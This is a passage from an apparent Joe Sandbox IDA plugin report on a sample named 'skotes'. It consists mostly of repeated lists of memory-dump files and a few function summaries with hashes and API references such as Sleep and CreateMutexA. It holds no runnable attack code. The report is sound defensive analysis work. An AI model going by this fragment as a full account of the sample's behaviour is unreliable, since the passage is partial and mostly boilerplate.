Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: bef97b07955b4481fb1030664a5a3d4da977961d8c862cf3c5403a4d494e4732
Instruction ID: 72e575ec0b0b6d99e4c7268fe49fca1bfb665c49d67b0f13d276f2ce31e6cd73
Opcode Fuzzy Hash: bef97b07955b4481fb1030664a5a3d4da977961d8c862cf3c5403a4d494e4732
Instruction Fuzzy Hash: 74212532744240ABFB1CBB68EC8DB7CB766EBC5310F24421AE558C72D1D77D69808712

Function 0078A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: 0fee577dfa3fd85ba152ca358d5ff48c4e1736e28a48a20f23d69bbdcf36ebba
Instruction ID: de13f397958f31b3902128ba625e5536fd2de165ef50b5a2582277667d06b67a
Opcode Fuzzy Hash: 0fee577dfa3fd85ba152ca358d5ff48c4e1736e28a48a20f23d69bbdcf36ebba
Instruction Fuzzy Hash: AC2106713C9200EAFB2D77A8989EB3DB2629B91300F244817E144962D1DA7EA980C373

Function 0078A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: d9b2f049189bb4c70a194f46737cef1577f5016512233fb8de1e41a532212b35
Instruction ID: d2d85217727d60e4d214d1bc70dcbf6f3b40d26b19ebe0b13d043ea02138eb31
Opcode Fuzzy Hash: d9b2f049189bb4c70a194f46737cef1577f5016512233fb8de1e41a532212b35
Instruction Fuzzy Hash: 88212532784300ABFB1CAB68EC8DB6CB766EBD5320F24421AE458976D1D77D69808752

Non-executed Functions

Function 007BCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007BCC66

Strings

v{, xrefs: 007BCBE1

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v{
API String ID: 3213747228-1518592600
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 77ac5c4256ab6070df1f60937f3493894eb0182b6ea6c90476419967f83aec47
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: D7B10532A04686DFDB16CF28C885BEEBFE5EF55350F14816AE855EB242D6389D01CB60

Function 00782EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00782F5F
__Mtx_unlock.LIBCPMT ref: 00782FCC
__Cnd_broadcast.LIBCPMT ref: 00782FE3
__Mtx_unlock.LIBCPMT ref: 007830F5
__Mtx_unlock.LIBCPMT ref: 0078319B

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 5c3d65db8751ba17445fcb1787d165ded7d679a84cf395d7f5a8d2003cfae295
Instruction ID: ff67522a08937435a8a55695b149d02fc572c86e0c9c8ba664eee9b9bf842f70
Opcode Fuzzy Hash: 5c3d65db8751ba17445fcb1787d165ded7d679a84cf395d7f5a8d2003cfae295
Instruction Fuzzy Hash: 4AA104B0A41609DFDF11EF68D948B5AB7B8FF14B20F048129E815D7241EB39EA05CBD1

Function 0079BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0079BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0079BBE4
_xtime_get.LIBCPMT ref: 0079BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0079BC13

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
